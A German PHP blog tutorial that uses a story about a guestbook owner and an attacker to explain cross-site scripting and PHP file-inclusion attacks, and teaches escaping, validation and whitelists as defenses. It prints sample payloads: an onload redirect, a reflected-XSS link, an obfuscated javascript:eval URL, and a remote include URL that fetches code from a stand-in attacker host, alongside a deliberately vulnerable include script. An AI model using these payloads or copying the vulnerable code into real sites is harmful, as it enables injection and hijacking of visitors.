NoFollow Free!
SHIFT Weblog

Dieses Blog ist ein Online-Magazin für erfahrene Website-Entwickler und Webdesigner, die PHP und Webdesign lieben.

PHP

XSS: Der richtige Schutz vor Cross-Site-Scripting mit PHP

Max' Versuch Nummer drei

Wenn es in den Welten des Internets das “Gut und Böse” gibt, so gehören zu den Bösen sicherlich die Menschen, die Schwachstellen von Webseiten ausnutzen, um Schadcode auf der Seite zu injizieren. Die Rede ist hier vom “Cross-Site-Scripting” (oder kurz: XSS) und bedeutet, dass die Bösewichte bösartigen Script-Code auf fremden Seiten unterzubringen. Dies ist immer dann möglich, wenn ein Nutzer einer Webseite die Möglichkeit hat, etwas einzugeben und diese Zeichenfolge dann später wieder ausgegeben. Wenn es hierbei dem Bösen gelingt, Schadcode einzufügen, spricht man im Englischen von einer “Code Injection”.

Im “Die Sendung-mit-der-Maus”-Stil versuche ich mal, dieses Thema von Anfang an aufzurollen.

Das ist Erna…

(Klappe – Action!)
Das ist Erna. Erna hat mittelschwere PHP-Kenntnisse und hat eine Webseite entwickelt, auf der die Benutzer die Möglichkeit haben, eigene Kommentare in einem Gästebuch zu hinterlassen. Wie das geht, hat sie zuvor von diversen Tutorials im Internet erlesen. Ernas Gästebuch zeigt beim Aufruf die neuesten Einträge an und beinhaltet auch eine Suchfunktion. Der Benutzer des Gästebuchs kann neben einer Nachricht auch die Adresse seine Homepage hinterlassen.

(Szenenwechsel)
Das ist Max. Max sitzt im dunklen Keller vor seinem Computerbildschirm und sucht nach Webseiten, auf denen er Schadcode einfügen kann. Gerade hat er Ernas Gästebuch entdeckt und wittert seine Chance. Nach kurzer Zeit hat es Max geschafft, dass beim Aufruf von Ernas Gästebuchseite nicht das Gästebuch, sondern seine eigene Seite angezeigt wird. Wie funktioniert das?

Eine einfache Code-Injection

Wie hat Max es geschafft, so etwas bösartiges zu bewerkstelligen? Nun, Ernas Gästebuch stellt ein Formular bereit, in dem die Eingaben des Benutzers gespeichert werden, um später wieder ausgegeben zu werden. Die Ausgabe macht sich Max zu Nutze und hat erst einmal probiert, HTML-Code im Kommentarfeld einzugeben.

Nachdem Max das Formular abgesendet hat und seinen Beitrag in Ernas Gästebuch sieht, merkt er, dass es ohne Probleme möglich ist, HTML-Code in Ernas Webseite unterzubringen: Der Link ist nun auch für andere Besucher des Gästebuchs zu sehen.

Die Schwachstelle des Ganzen ist hier die Tatsache, dass HTML-Code, der hier problemlos eingepflanzt wurde, eine Menge anrichten kann. In diesem Fall ist es ein Link, aber natürlich lässt sich noch mehr anstellen, hat man erst einmal Handhabe über die Zusamensetzung des Quellcodes der Internetseite. Nun versucht Max eine weitaus bösartigere Injection:

Für alle Neulinge: Dieser Code könnte bewirken, dass der Browser bei Ausführung dieser Zeile eine neue Seite lädt – in diesem Fall die Seite vom bösen Max. Vielleicht könnte man jetzt sagen: “Wo ist das Problem? Die meta-Tags gehören in den head-Bereich des Quellcodes und werden andernfalls nicht weiter berücksichtigt”. Leider ist das nicht immer der Fall, denn viele Browser sind bei den Standards des W3C etwas nachsichtiger und führen den Code trotzdem aus.

Nachdem sich einige Benutzer bei Erna beschwert haben, greift die Entwicklerin durch und löscht die schadhaften Kommentare von Max. Weil sie an ihre treuen Besucher denkt, möchte Erna den anständigen Gästebuch-Schreibern aber trotzdem die Möglichkeit bieten, den jeweiligen Kommentar grafisch etwas aufzumotzen, etwa mit fetter Schrift oder aber mit lustigen Smileys. Dafür gibt es den so genannten BB-Code, der etwa aus [B]Hallo Welt[B] ein <strong>Hallo Welt</strong> wandelt. Mit dem BB-Code hat Erna die scheinbare Möglichkeit, Kontrolle über die HTML-Tags der Kommentatoren zu gewinnen.

Um aufkommende BB-Tags umzuwandeln, benutzt sie eine simple Regular Expression. Im Falle eines Bildes wird beispielsweise dieser Code angewandt:

$message = preg_replace('#\[img\](.*?)\[/img\]#', '<img src="$1" />', $message);

Schreibt ein Gästebuchbenutzer also etwa

Schaut mal, mein neues Auto: [img]http://www.meineseite.de/meinauto.jpg[/img]

so wird es bei der Ausgabe zu diesem Code gewandelt:

Schaut mal, mein neues Auto: <img src="http://www.meineseite.de/meinauto.jpg"/>

Vorsicht, Falle!

Nun hat Erna erst einmal Ruhe. Bis Max wieder Ernas Seite besucht und erneut sein Glück versucht. Er tippt in das Formular folgendes ein:

Durch die Umwandlung wird daraus dieser HTML-Code:
Hallo Erna, ich bin es wieder! <img src="http://www.maxderhacker.tld/bild.jpg" onload="window.location='http://maxderhacker.tld'" />

Wieder einmal hat Max es geschafft, Ernas Gästebuch für seine Zwecke zu missbrauchen. Und Erna ist erst einmal ratlos. Hier können wir Ihr doch sicher helfen.

Never trust a user input!

Ich verlasse hier nun den “Sendung-mit-der-Maus”-Modus und möchte an dieser Stelle noch einmal betonen, dass mit Hilfe dieser Schwachstellen auch ohne Probleme Javascript-Code eingebettet werden kann. Und da man mit JavaScript eine ganze Menge anstellen kann, sollten wir auf jeden Fall verhindern, dass der Benutzer unerlaubt HTML- und/oder JavaScript-Code in unsere Webseite pflanzen kann. Bei XSS gilt: Wenn eine Benutzereingabe jemals ausgegeben wird, so ist diese vorher zu validieren und von ungewolltem Code zu bereinigen. Wer jetzt noch glaubt “Meine Benutzer machen so etwas nicht”, der hat verloren.

Abhilfe

PHP bietet uns hier die Funktion strip_tags(). Diese bewirkt, wie der Name schon vermuten lässt, dass jegliche Formen von HTML-Tags entfernt werden. Dabei können auch Tags definiert werden, die erlaubt sind. Wie wir aber oben gesehen haben, sind nicht immer nur die HTML-Tags für Codemissbrauch verantwortlich, sondern auch deren Attribute. Wird bei strip_tags() also beispielsweise das <strong>-Attribut erlaubt, so darf der Benutzer auch Attribute eingeben, zum Beispiel onmousemove. Daher ist strip_tags kein Allheilmittel. Der BB-Code-Ansatz ist daher schon nicht verkehrt, jedoch müssen hier enorm viele “Sicherheitslücken” bedacht werden, wie wir mittlerweile gelernt haben. Daher empfehle ich bei Bedarf den Einsatz eines ausgereiften BB-Code-Parsers. Hier gilt: Man muss das Rad nicht neu erfinden.

Trotzdem konzentrieren wir uns weiter darauf, ungewollten HTML-Code zu verhindern. Dafür gibt es die Funktion htmlspecialchars(), und diese Funktion kommt unserem Vorhaben schon sehr nah. (Als Mitbewerber rangiert da noch die Funktion htmlentities(), die aber auch Umlaute umwandelt – und daher für uns zu viel des Guten ist.) htmlspecialchars wandelt alle besonderen HTML-Zeichen in codierte Zeichen um, so dass dieses vom Browser nicht als Teil eines HTML-Tags angesehen wird. So wird
<h1>Hallo</h1>

zu
&lt;h1&gt;Hallo&lt;/h1&gt;

Praktisch, oder? Wird die direkte Ausgabe von HTML Code unterbunden, so kann dieser auch nicht injiziert werden. Wichtig ist die korrekte  Anwendung der Funktion, da diese ohne weitere Parameter nicht ganz sauber arbeitet.  So sollte htmlspecialchars() benutzt werden:

$safe = htmlspecialchars($_POST['nachricht'], ENT_QUOTES, 'UTF-8')

Der zweite Parameter weist PHP an, dass auch einfache Anführungszeichen umgewandelt werden, der dritte gibt die richtige (die einzig richtige!) Codierung an.

Ein kurzer Nachtrag zu strip_tags():

Zusammen mit htmlspecialchars() ist strip_tags gegen XSS schon recht wirkungsvoll, jedoch ist strip_tags() recht grob. Wie ich bereits oben aufgeführt habe, macht es keinen Sinn bestimmte Tags zu erlauben, da der Teufel im Detail im Attribut liegt. Im Gegensatz dazu kennt strip_tags() aber nicht den Unterschied zwischen “echten” und “unechten” HTML-Tags. Ein Benutzer  muss also nur etwa schreiben

<edit>Ups, habe ja noch was vergessen: Und zwar [...] </edit>, und schon ist dieser Teil seines Eintrages gelöscht. Strip_tags ist also nur bedingt ein sinnvoller Helfer!

Leider ist auch in der PHP-Welt nicht immer alles so einfach, wie es bis jetzt scheint. Zwei Dinge müssen noch berücksichtigt werden.

Alle Quellen berücksichtigen!

Dafür wenden wir uns nochmal Erna zu, die mittlerweile die Formularverwertung mit htmlspecialchars aufgewertet hat. Wie schon gesagt, hat Erna auch eine Suchfunktion eingebaut, um nach Eingabe eines Keywords passende Gästebucheinträge anzuzeigen. Nach dem Senden des Formulares wird die Suchanfrage mit Hilfe des Querystrings übergeben, so dass nach Benutzung der Suche die URL etwa so aussehen könnte:

http://www.ernas-tolles-gaestebuch.tld/suche.php?keyword=Auto

Das verarbeitende Script nimmt den Parameter aus dem Querystring entgegen und wühlt in der Datenbank nach dem Wort “Auto”. Aus Usability-Gründen zeigt Erna dem Besucher noch einmal an, wonach er gesucht hat (“Ihre Suche nach ‘Auto’ ergab 3 Treffer”, oder so ähnlich). Hier könnte Max wieder zuschlagen, dafür muss er einfach nur den Querystring nach seinen Wünschen anpassen:

http://www.ernas-tolles-gaestebuch.tld/suche.php?keyword="> <a href="http://www.maxderhacker.tld">KLICKT MICH AN!/a>

Mit Hilfe dieser URL kann Max also beliebigen Text auf Ernas Seite anzeigen lassen. Was lernen wir daraus?

Wir dürfen keine Quelle vernachlässigen, es gibt viele Möglichkeiten, wie User Input auf unsere Seite gelangen kann:

  • Formulardaten (POST und GET)
  • URL-Bestandteile (mehr dazu siehe weiter unten)
  • Cookies
  • lokale Sessions
  • Flash/ActionScript-Anwendungen

Womöglich habe ich hier sogar noch was vergessen (in diesem Fall bitte ich um kurze Benachrichtigung).

htmlspecialchars() ist nicht bullet-proof!

Der zweite Punkt ist, dass die Funktion htmlspecialchars() nur bedingt vor Cross-Site-Scripting schützt. Das liegt daran, dass sich auch Schadcode unterbringen lässt, ohne HTML-Tags dafür zu gebrauchen. Angenommen, innerhalb einer Community-Seite hat ein Benutzer die Möglichkeit, die Adresse seiner Homepage einzugeben, so dass andere Besucher diese einsehen und anklicken können. So könnte die Implementierung aussehen:

<p><a href="<?php echo $user->url; ?>">Hier geht's zur Webseite von <?php echo $user->name; ?>!</a></p>

Aus Sicht des “Hackers” haben wir schon einen Großteil der Arbeit erledigt, die HTML-Tags sind bereits implementiert, jetzt müssen wir das href-Attribut nur noch mit bösartigen Code befüllen. Anstelle einer normalen URL gibt der Bösewicht nun etwa so etwas ein:

javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))

Diese vermeintliche URL ist ein verschlüsselter JavaScript-Befehl, der übersetzt alert('XSS') bedeutet. Neben dem recht harmlosen alert-Befehl gibt es natürlich noch eine Menge anderer Einsatzmöglichkeiten (man denke nur an meta-refresh-Tags oder document.write()…) . Nun hilft selbst die beste PHP-Funktion nicht mehr vor so einem Angriff – jedenfalls, wenn der Entwickler nicht vorher nachgedacht hat. Wie können wir diesen Angriff also abwehren?

Möglichkeit 1: Bestimmte Wörter blacklisten

Wir könnten eine Blacklist anfertigen, beispielsweise bestehend aus “eval” und “fromCharCode”. Tauchen diese Wörter auf, so könnte das Speichern des Kommentares verhindert werden. Das Problem: Hierbei kann man sich nie sicher sein, ob ein findiger Hacker nicht doch einen weiteren Exploit gefunden hat, um mit speziellen Verschlüsslungsmethoden solche Zeichenketten zu realisieren. Außerdem ist es möglich, dass der Begriff “eval” durchaus in einem harmlosen Zusammenhang erwähnt wird, etwa in einem Blog-Kommentar:

Hallo Erna, ich persönlich mag Scripte nicht, in denen eval eine Rolle spielt!

Möglichkeit 2: Bestimmte Wörter whitelisten

Glaubt mir, diese Mühe wollt ihr euch nicht machen!

Möglichkeit 3: (Trommelwirbel) Eingaben validieren

Der oben genannte XSS-Fall wäre nicht passiert, wenn die Eingabe des Nutzers im Vorfeld validiert und geprüft wäre. Im oben genannten Fall hätte also die Prüfung zur korrekten URL gereicht:

if(filter_var('example.com', FILTER_VALIDATE_URL) == false) {
    // keine korrekte URL
}

PHP Code Injection

Im gesamten Artikel wurde XSS im Zusammenhang mit HTML oder JavaScript behandelt. Aber auch PHP-intern können solche Sachen passieren, wenn man nicht aufpasst. Stellt euch folgendes Script vor, mit dem dynamischer Content realisiert wird:

<?php
/*
 * index.php
 * Achtung, XSS-anfällig!
 */
if(!empty($_POST['page'])) {
    $page = $_POST['page'] . '.php';
} else {
    $page = 'startseite.php';
}
?>
<div id="content">
    <?php include($page); ?>
</div>

Wenn innerhalb der URL also eine zu ladene Seite angegeben ist (etwa www.unsichere-webseite.tld/index.php?page=kontakt), so wird die entsprechende PHP-Datei inkludiert. Ich fasse mich kurz, denn was hier passiert, dürfte ja wohl klar sein:

www.unsichere-webseite.tld/index.php?page=http://www.maxderhacker.tld/scripts/boese

Eine PHP-Code-Injection kann noch mehr Schaden anrichten als die oben genannten Anwendungsfälle, daher müsst ihr wirklich aufpassen welche Seiten inkludiert werden. Wie macht man’s also richtig?

Möglichkeit 1: Whitelist

Eine Whitelist ist eine gute Möglichkeit, um der Gefahr zu entgehen. Richtig definiert, können nur die von euch erlaubten PHP-Seiten inkludiert werden. Nachteil: Bei umfangreichen Projekten mit vielen (Unter-)Seiten ist eine Pflege der Whitelist sehr aufwändig. Wie man eine solche Whitelist objektorientiert angehen könnte, ist vor knapp zwei Jahren von mir an dieser Stelle beschrieben worden.

Möglichkeit 2: PHP-Framework nutzen

Frameworks haben eine eigens entwickelte Logik, was die Inkludierung von Dateien betrifft. Wenn der Einsatz eines solchen Frameworks also gerechtfertigt ist, braucht ihr euch um solche Sachen geringe bis keine Gedanken mehr machen müssen.

Möglichkeit 3: PHP-Konfiguration

PHP selbst bietet bereits gute Kontrollmechanismen, was das Laden von Scripten und Dateien betrifft.

Zusammenfassung

Zusammenfassend kann ich sagen, dass ihr htmlspecialchars() benutzen sollt, strip_tags in Erwägung ziehen könntet und trotzdem immer fleissig darauf achten müsst, wo Benutzereingaben ausgegeben werden. Merkt euch auf jeden Fall diese drei Sätze (sie sind schon irgendwann vorher in diesem Artikel gefallen, wiederhole sie aber gerne) :

Never trust a user input!

Berücksichtigt alle Eingangstore eurer Webseite!

Wenn eine Benutzereingabe jemals ausgegeben wird, so ist diese vorher zu validieren und von ungewolltem Code zu bereinigen!

 

Kommentare

Auf dieses Thema gibt es 2 Reaktionen

  1. Jens

    Striptags()? Bist Du wahnsinnig? strip_tags() ist ausschließlich zur Verwendung auf HTML-Input gedacht. Wenn Du es auf irgendwas anderes los lässt, dann liefert es falsche Ergebnisse.

    Beispiel:
    echo strip_tags(‘mysql -ume -Dtest >logfile’);

    Oder:
    echo strip_tags(‘mysql -ume -Dtest <foo.sql logfile');

    Außerdem:
    Du vermischt hier zwei Themen, nämlich zum einen XSS und zum anderen Kontextwechsel. htmlspecialchars() ist Teil des Kontextwechsels – und zwar grundsätzlich und Unabhängig von der XSS-Gefahr. Ohne kann es zu Darstellungsfehlern kommen – das langt schon als Begründung für die Notwendigkeit.

  2. Jens

    Nachtrag: In den Beispielen des letzten Kommentars stand mal was anderes. Das ist dann wohl der Beweis, dass auch hier ein fehlerhaftes strip_tags() am Werke ist…

    Gruß Jens

Hinterlasse eine Antwort

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *

*

Du kannst folgende HTML-Tags benutzen: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="" highlight="">

 

Weitere Artikel der Kategorie PHP

PHP

Mein Verständnis von MVC

MVC – diese drei Buchstaben haben es in sich. MVC ist ein Design Pattern, eine strukturelle Lösung für Entwickler. Kaum ein anderes Design Pattern löst so viel Kontroverse aus und regt zu endlosen Diskussionen an – zumindest in der PHP-Welt. Das liegt daran, dass MVC recht oberflächlich beschrieben wird, und möchte man sämtliche MVC-Erklärungsversuche zusammenfassen,

Weiterlesen ›

PHP

Ausnahmezustand: PHP und Exceptions

Mit PHP 5 wurde dem Entwickler ein Werkzeug zur Verfügung gestellt, dass es in anderen objektorientierten Sprachen wie C++ und Python schon lange gibt: Exceptions. Mit diesen hat der Entwickler die Möglichkeit, auf ungewollte Ereignisse zu reagieren. Exceptions werden “geworfen”, das bedeutet, sie unterbrechen den normalen Programmfluss und behandeln eine eventuelle Ausnahme, die den weiteren

Weiterlesen ›

PHP, Quickies

Snippet: Geldbeträge mit PHP bereinigen

Folgendes Szenario: Ein Benutzer einer PHP-Applikation muss einen Geldbetrag eingeben. Für die Weiterberechnung und Speicherung dieses Betrages erwartet PHP ein Format wie 123 oder 567.89, nicht aber 246,80 oder 500,-. Bevor dem Benutzer der Applikation lange Erklärungen geben, wie eine solche Eingabe auszusehen hat, sollten wir uns selbst um die Bereinigung der Geldbetrageingabe kümmern. Wenn

Weiterlesen ›